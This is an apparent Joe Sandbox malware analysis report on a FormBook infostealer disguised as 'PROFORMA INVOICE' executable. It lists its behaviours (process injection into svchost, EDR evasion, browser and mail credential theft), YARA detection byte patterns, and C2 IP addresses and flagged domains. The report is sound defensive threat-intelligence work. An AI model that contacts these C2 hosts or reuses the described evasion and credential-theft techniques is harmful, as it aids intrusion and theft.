Edit tour

Windows Analysis Report
PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Overview

General Information

Sample name:	PROFORMA INVOICE BKS-0121-24-25-JP240604.exe
Analysis ID:	1507792
MD5:	2d7b8c66b77445f402f18ae1074eed34
SHA1:	30c2bfd7f1b013360a7a2d5e956d790e79224558
SHA256:	b46420c24a371b5b05317ec59c65e7c7d6fdbfb772460f8f812810d7871da039
Tags:	exe
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

PROFORMA INVOICE BKS-0121-24-25-JP240604.exe (PID: 2472 cmdline: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe" MD5: 2D7B8C66B77445F402F18AE1074EED34)

svchost.exe (PID: 3624 cmdline: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

aWQzvnOIPI.exe (PID: 1852 cmdline: "C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

chkntfs.exe (PID: 6156 cmdline: "C:\Windows\SysWOW64\chkntfs.exe" MD5: A9B42ED1B14BB22EF07CCC8228697408)

aWQzvnOIPI.exe (PID: 3964 cmdline: "C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 320 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2f6e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17742:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x3e46a:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x264c9:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x23e5ca:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x226629:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c2e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1433f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x23e5ca:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x226629:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c2e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1433f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c2e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1433f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c2e0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1433f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.svchost.exe.670000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.svchost.exe.670000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2e8e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16942:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
2.2.svchost.exe.670000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.svchost.exe.670000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2f6e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17742:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe", CommandLine: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe", CommandLine|base64offset|contains: N !, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe", ParentImage: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, ParentProcessId: 2472, ParentProcessName: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, ProcessCommandLine: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe", ProcessId: 3624, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe", CommandLine: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe", CommandLine|base64offset|contains: N !, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe", ParentImage: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, ParentProcessId: 2472, ParentProcessName: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, ProcessCommandLine: "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe", ProcessId: 3624, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-09T10:42:02.542420+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49268	199.59.243.226	80	TCP
2024-09-09T10:42:05.095156+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49269	199.59.243.226	80	TCP
2024-09-09T10:42:07.641050+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49270	199.59.243.226	80	TCP
2024-09-09T10:42:16.650831+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49273	154.23.184.240	80	TCP
2024-09-09T10:42:19.202501+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49274	154.23.184.240	80	TCP
2024-09-09T10:42:22.191354+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49275	154.23.184.240	80	TCP
2024-09-09T10:42:43.708091+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49281	162.0.239.141	80	TCP
2024-09-09T10:42:46.461747+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49282	162.0.239.141	80	TCP
2024-09-09T10:42:48.739895+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49283	162.0.239.141	80	TCP
2024-09-09T10:42:56.980511+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49285	199.59.243.226	80	TCP
2024-09-09T10:42:59.560751+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49286	199.59.243.226	80	TCP
2024-09-09T10:43:02.119279+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49287	199.59.243.226	80	TCP
2024-09-09T10:43:35.074950+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49289	161.97.168.245	80	TCP
2024-09-09T10:43:37.713562+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49290	161.97.168.245	80	TCP
2024-09-09T10:43:40.161311+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49291	161.97.168.245	80	TCP
2024-09-09T10:43:48.226968+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49293	3.33.130.190	80	TCP
2024-09-09T10:43:50.757266+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49294	3.33.130.190	80	TCP
2024-09-09T10:43:53.292938+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49295	3.33.130.190	80	TCP
2024-09-09T10:44:03.225243+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49297	218.247.68.184	80	TCP
2024-09-09T10:44:05.503173+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49298	218.247.68.184	80	TCP
2024-09-09T10:44:08.473468+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49299	218.247.68.184	80	TCP
2024-09-09T10:44:16.512154+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49301	13.248.169.48	80	TCP
2024-09-09T10:44:19.080569+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49302	13.248.169.48	80	TCP
2024-09-09T10:44:22.092878+0200	2855464	1	A Network Trojan was detected	192.168.2.5	49303	13.248.169.48	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www70.clientebradesco.online/

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://www70.clientebradesco.online/

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for submitted file

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	ReversingLabs: Detection: 34%
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Virustotal: Detection: 30%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.670000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Joe Sandbox ML: detected

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: chkntfs.pdbGCTL source: svchost.exe, 00000002.00000003.2186603901.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218277477.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000003.00000002.3887154860.00000000009E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: aWQzvnOIPI.exe, 00000003.00000000.2139109679.000000000044E000.00000002.00000001.01000000.00000004.sdmp, aWQzvnOIPI.exe, 00000006.00000000.2289413366.000000000044E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2026705638.00000000043E0000.00000004.00001000.00020000.00000000.sdmp, PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2026606201.0000000004240000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2123151926.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2124909172.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218429565.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218429565.000000000339E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2225817733.00000000041DF000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3887912659.000000000452E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3887912659.0000000004390000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2223681301.0000000004020000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2026705638.00000000043E0000.00000004.00001000.00020000.00000000.sdmp, PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000003.2026606201.0000000004240000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2123151926.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2124909172.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218429565.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218429565.000000000339E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, chkntfs.exe, 00000004.00000003.2225817733.00000000041DF000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3887912659.000000000452E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3887912659.0000000004390000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000004.00000003.2223681301.0000000004020000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: chkntfs.pdb source: svchost.exe, 00000002.00000003.2186603901.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2218277477.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000003.00000002.3887154860.00000000009E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: chkntfs.exe, 00000004.00000002.3888417281.00000000049BC000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3886521464.00000000004B8000.00000004.00000020.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.00000000030BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2506186536.0000000025D3C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: chkntfs.exe, 00000004.00000002.3888417281.00000000049BC000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3886521464.00000000004B8000.00000004.00000020.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.00000000030BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2506186536.0000000025D3C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0048DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0048DBBE
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0045C2A2 FindFirstFileExW,	0_2_0045C2A2
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004968EE FindFirstFileW,FindClose,	0_2_004968EE
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0049698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_0049698F
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0048D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0048D076
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0048D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0048D3A9
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00499642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00499642
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0049979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0049979D
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00499B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00499B2B
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00495C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00495C97
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001BC750 FindFirstFileW,FindNextFileW,FindClose,	4_2_001BC750
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4_2_001BC886 FindFirstFileW,FindNextFileW,FindClose,	4_2_001BC886

Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4x nop then xor eax, eax		4_2_001A9B00
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 4x nop then mov ebx, 00000004h		4_2_042204DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49268 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49294 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49273 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49282 -> 162.0.239.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49285 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49290 -> 161.97.168.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49289 -> 161.97.168.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49295 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49275 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49302 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49269 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49274 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49293 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49297 -> 218.247.68.184:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49286 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49283 -> 162.0.239.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49287 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49298 -> 218.247.68.184:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49281 -> 162.0.239.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49270 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49301 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49303 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49291 -> 161.97.168.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49299 -> 218.247.68.184:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.asian-massage-us.xyz

Source: Joe Sandbox View	IP Address: 96.126.123.244 96.126.123.244
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: WEST263GO-HKWest263InternationalLimitedHK WEST263GO-HKWest263InternationalLimitedHK

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0049CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_0049CE44

